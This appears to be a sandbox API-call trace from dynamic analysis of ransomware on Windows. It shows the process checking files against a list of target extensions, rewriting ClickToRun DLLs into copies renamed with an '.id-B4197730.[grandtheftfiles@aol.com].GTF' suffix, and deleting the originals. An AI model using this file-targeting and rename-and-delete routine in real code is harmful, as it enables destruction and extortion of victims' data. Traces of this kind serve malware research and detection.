	[0085.013] lstrlenW (lpString=".pdf") returned 4
	[0085.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".xls") returned 4
	[0085.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".xlsx") returned 5
	[0085.013] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.013] lstrlenW (lpString=".ppt") returned 4
	[0085.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString=".zip") returned 4
	[0085.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".rar") returned 4
	[0085.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.013] lstrlenW (lpString=".bz2") returned 4
	[0085.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString=".7z") returned 3
	[0085.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString=".dbf") returned 4
	[0085.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString=".1cd") returned 4
	[0085.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.013] lstrlenW (lpString=".jpg") returned 4
	[0085.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString=".doc") returned 4
	[0085.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString=".docx") returned 5
	[0085.014] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.014] lstrlenW (lpString=".pdf") returned 4
	[0085.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString=".xls") returned 4
	[0085.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString=".xlsx") returned 5
	[0085.014] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.014] lstrlenW (lpString=".ppt") returned 4
	[0085.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString=".zip") returned 4
	[0085.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString=".rar") returned 4
	[0085.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.014] lstrlenW (lpString=".bz2") returned 4
	[0085.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.014] lstrlenW (lpString=".7z") returned 3
	[0085.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString=".dbf") returned 4
	[0085.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString=".1cd") returned 4
	[0085.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0085.014] lstrlenW (lpString=".jpg") returned 4
	[0085.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.015] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.015] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35
	[0085.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.015] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=26816) returned 1
	[0085.015] CloseHandle (hObject=0x390) returned 1
	[0085.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20
	[0085.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.015] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.015] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0085.016] GetLastError () returned 0x0
	[0085.016] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x68c0, lpOverlapped=0x0) returned 1
	[0085.018] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x68d0, lpOverlapped=0x0) returned 1
	[0085.019] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.019] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0085.019] SetEndOfFile (hFile=0x31c) returned 1
	[0085.019] CloseHandle (hObject=0x31c) returned 1
	[0085.021] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.021] SetEndOfFile (hFile=0x390) returned 1
	[0085.021] CloseHandle (hObject=0x390) returned 1
	[0085.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.022] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1
	[0085.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.022] lstrlenW (lpString=".doc") returned 4
	[0085.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.022] lstrlenW (lpString=".docx") returned 5
	[0085.022] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.022] lstrlenW (lpString=".pdf") returned 4
	[0085.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.022] lstrlenW (lpString=".xls") returned 4
	[0085.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.022] lstrlenW (lpString=".xlsx") returned 5
	[0085.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.022] lstrlenW (lpString=".ppt") returned 4
	[0085.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.022] lstrlenW (lpString=".zip") returned 4
	[0085.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".rar") returned 4
	[0085.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".bz2") returned 4
	[0085.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.023] lstrlenW (lpString=".7z") returned 3
	[0085.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString=".dbf") returned 4
	[0085.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString=".1cd") returned 4
	[0085.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString=".jpg") returned 4
	[0085.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString=".doc") returned 4
	[0085.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".docx") returned 5
	[0085.023] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.023] lstrlenW (lpString=".pdf") returned 4
	[0085.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".xls") returned 4
	[0085.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".xlsx") returned 5
	[0085.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.023] lstrlenW (lpString=".ppt") returned 4
	[0085.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.023] lstrlenW (lpString=".zip") returned 4
	[0085.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".rar") returned 4
	[0085.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".bz2") returned 4
	[0085.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.024] lstrlenW (lpString=".7z") returned 3
	[0085.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.024] lstrlenW (lpString=".dbf") returned 4
	[0085.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.024] lstrlenW (lpString=".1cd") returned 4
	[0085.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0085.024] lstrlenW (lpString=".jpg") returned 4
	[0085.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.024] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.024] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33
	[0085.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.024] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=70848) returned 1
	[0085.024] CloseHandle (hObject=0x390) returned 1
	[0085.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20
	[0085.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.025] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.025] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0085.025] GetLastError () returned 0x0
	[0085.025] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x114c0, lpOverlapped=0x0) returned 1
	[0085.028] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x114d0, lpOverlapped=0x0) returned 1
	[0085.029] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.029] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x116, lpOverlapped=0x0) returned 1
	[0085.030] SetEndOfFile (hFile=0x31c) returned 1
	[0085.030] CloseHandle (hObject=0x31c) returned 1
	[0085.032] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.032] SetEndOfFile (hFile=0x390) returned 1
	[0085.033] CloseHandle (hObject=0x390) returned 1
	[0085.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.033] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1
	[0085.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".doc") returned 4
	[0085.034] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".docx") returned 5
	[0085.034] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.034] lstrlenW (lpString=".pdf") returned 4
	[0085.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".xls") returned 4
	[0085.034] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".xlsx") returned 5
	[0085.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.034] lstrlenW (lpString=".ppt") returned 4
	[0085.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".zip") returned 4
	[0085.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".rar") returned 4
	[0085.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".bz2") returned 4
	[0085.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.034] lstrlenW (lpString=".7z") returned 3
	[0085.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".dbf") returned 4
	[0085.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".1cd") returned 4
	[0085.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".jpg") returned 4
	[0085.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.034] lstrlenW (lpString=".doc") returned 4
	[0085.034] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.034] lstrlenW (lpString=".docx") returned 5
	[0085.034] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.035] lstrlenW (lpString=".pdf") returned 4
	[0085.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.035] lstrlenW (lpString=".xls") returned 4
	[0085.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.035] lstrlenW (lpString=".xlsx") returned 5
	[0085.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.035] lstrlenW (lpString=".ppt") returned 4
	[0085.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.035] lstrlenW (lpString=".zip") returned 4
	[0085.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.035] lstrlenW (lpString=".rar") returned 4
	[0085.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.035] lstrlenW (lpString=".bz2") returned 4
	[0085.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.035] lstrlenW (lpString=".7z") returned 3
	[0085.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.035] lstrlenW (lpString=".dbf") returned 4
	[0085.035] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.035] lstrlenW (lpString=".1cd") returned 4
	[0085.035] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0085.035] lstrlenW (lpString=".jpg") returned 4
	[0085.035] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.035] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.035] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33
	[0085.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.036] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=19648) returned 1
	[0085.036] CloseHandle (hObject=0x390) returned 1
	[0085.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20
	[0085.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.036] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.036] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0085.036] GetLastError () returned 0x0
	[0085.036] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0085.038] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0085.039] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.039] WriteFile (in: hFile=0x31c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x116, lpOverlapped=0x0) returned 1
	[0085.039] SetEndOfFile (hFile=0x31c) returned 1
	[0085.040] CloseHandle (hObject=0x31c) returned 1
